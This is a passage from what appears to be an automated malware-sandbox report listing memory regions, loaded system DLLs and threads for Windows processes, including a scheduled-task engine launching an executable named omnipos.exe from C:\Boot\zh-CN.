"user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6634 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 6635 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 6640 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6641 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 6642 start_va = 0x8a0000 end_va = 0xa27fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 6643 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6644 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6645 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6646 start_va = 0xa30000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 6647 start_va = 0xbc0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Thread: id = 257 os_tid = 0xdc0 Process: id = "76" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x79860000" os_pid = "0x4d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "66" os_parent_pid = "0x368" cmd_line = "taskeng.exe {D94E64A8-24CC-44BC-88FF-610B4C4A6E93} S-1-5-21-4219442223-4223814209-3835049652-1000:Q9IATRKPRH\\kEecfMwgj:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6838 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 6839 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6840 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 6841 start_va = 0x110000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 6842 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6843 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6844 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6845 start_va = 0xff620000 end_va = 0xff693fff monitored = 0 entry_point = 0xff62f44c region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 6846 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6847 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6848 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6849 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 6980 start_va = 0x190000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6981 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6982 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6983 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6984 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6985 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6986 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6987 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6988 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6989 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 6990 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 6991 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6992 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6993 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6994 start_va = 0x7fefdf70000 end_va = 0x7fefe046fff monitored = 0 entry_point = 0x7fefdf73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6995 start_va = 0x7fefada0000 end_va = 0x7fefada9fff monitored = 0 entry_point = 0x7fefada260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 6996 start_va = 0x7fefd280000 end_va = 0x7fefd2ecfff monitored = 0 entry_point = 0x7fefd281010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 6997 start_va = 0xc0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 6998 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6999 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 7000 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 7001 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7002 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7003 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7004 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7005 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 7006 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 7007 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskeng.exe.mui" filename = "\\Windows\\System32\\en-US\\TaskEng.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskeng.exe.mui") Region: id = 7008 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 7009 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7010 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 7011 start_va = 0x1b40000 end_va = 0x1caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 7012 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7013 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7014 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7015 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7016 start_va = 0x1b80000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 7017 start_va = 0x1c30000 end_va = 0x1caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 7018 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7019 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7020 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7021 start_va = 0x290000 end_va = 0x2d4fff monitored = 0 entry_point = 0x291064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7022 start_va = 0x290000 end_va = 0x2d4fff monitored = 0 entry_point = 0x291064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7023 start_va = 0x290000 end_va = 0x2d4fff monitored = 0 entry_point = 0x291064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7024 start_va = 0x290000 end_va = 0x2d4fff monitored = 0 entry_point = 0x291064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7025 start_va = 0x290000 end_va = 0x2d4fff monitored = 0 entry_point = 0x291064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7026 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7027 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7028 start_va = 0x1df0000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 7029 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 7030 start_va = 0x7fefd620000 end_va = 0x7fefd644fff monitored = 0 entry_point = 0x7fefd629658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7031 start_va = 0x1cb0000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cb0000" filename = "" Region: id = 7032 start_va = 0x1ef0000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 7033 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 7034 start_va = 0x1f70000 end_va = 0x223efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7035 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 7036 start_va = 0x2350000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 7037 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 7038 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 7039 start_va = 0x24e0000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 7040 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 7041 start_va = 0x7feff9b0000 end_va = 0x7feffa48fff monitored = 0 entry_point = 0x7feff9b1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7042 start_va = 0x7fefaa50000 end_va = 0x7fefaa58fff monitored = 0 entry_point = 0x7fefaa511a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 7043 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7044 start_va = 0x290000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7045 start_va = 0x7fefbc40000 end_va = 0x7fefbc74fff monitored = 0 entry_point = 0x7fefbc41064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 7046 start_va = 0x22d0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 7047 start_va = 0x23d0000 end_va = 0x24aefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 7048 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 7049 start_va = 0x7fefbc80000 end_va = 0x7fefbc97fff monitored = 0 entry_point = 0x7fefbc81130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7214 start_va = 0x2630000 end_va = 0x26affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 7215 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 7216 start_va = 0x2250000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 7217 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 7218 start_va = 0x2590000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 7219 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 7220 start_va = 0x26e0000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 7221 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 7222 start_va = 0x2890000 end_va = 0x290ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 7223 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 7224 start_va = 0x2a20000 end_va = 0x2a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 7225 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 7226 start_va = 0x2810000 end_va = 0x288ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 7227 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 7228 start_va = 0x1e70000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 7229 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 7230 start_va = 0x2970000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 7231 start_va = 0x2b80000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 7232 start_va = 0x2d10000 end_va = 0x2d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 7233 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 7234 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 7235 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 7240 start_va = 0x2de0000 end_va = 0x2e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 7241 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 7265 start_va = 0x2ac0000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 7266 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Thread: id = 300 os_tid = 0x4dc Thread: id = 301 os_tid = 0x4e8 Thread: id = 302 os_tid = 0x4ec Thread: id = 303 os_tid = 0x4fc Thread: id = 304 os_tid = 0x500 Thread: id = 305 os_tid = 0x504 Thread: id = 306 os_tid = 0x514 Thread: id = 325 os_tid = 0x538 Thread: id = 327 os_tid = 0x564 Thread: id = 329 os_tid = 0x5b8 Thread: id = 330 os_tid = 0x5d8 Thread: id = 331 os_tid = 0x600 Thread: id = 333 os_tid = 0x608 Thread: id = 334 os_tid = 0x60c Thread: id = 335 os_tid = 0x610 Thread: id = 336 os_tid = 0x614 Thread: id = 337 os_tid = 0x618 Thread: id = 338 os_tid = 0x61c Thread: id = 339 os_tid = 0x678 Thread: id = 341 os_tid = 0x6ac Thread: id = 342 os_tid = 0x6e4 Process: id = "77" image_name = "omnipos.exe" filename = "c:\\boot\\zh-cn\\omnipos.exe" page_root = "0x77f87000" os_pid = "0x520" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "C:\\Boot\\zh-CN\\omnipos.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7242 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7243 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7244 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 7245 start_va = 0xd80000 end_va = 0xe57fff monitored = 1 entry_point = 0xe4f1ee region_type = mapped_file name = "omnipos.exe" filename = "\\Boot\\zh-CN\\omnipos.exe" (normalized: "c:\\boot\\zh-cn\\omnipos.exe") Region: id = 7246 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7247 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7248 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7249 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7250 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7251 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 7252 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7253 start_va = 0x190000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 7254 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7255 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7256 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7257 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7258 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7259 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7260 start_va = 0x270000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7261 start_va = 0x2e0000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 7262 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 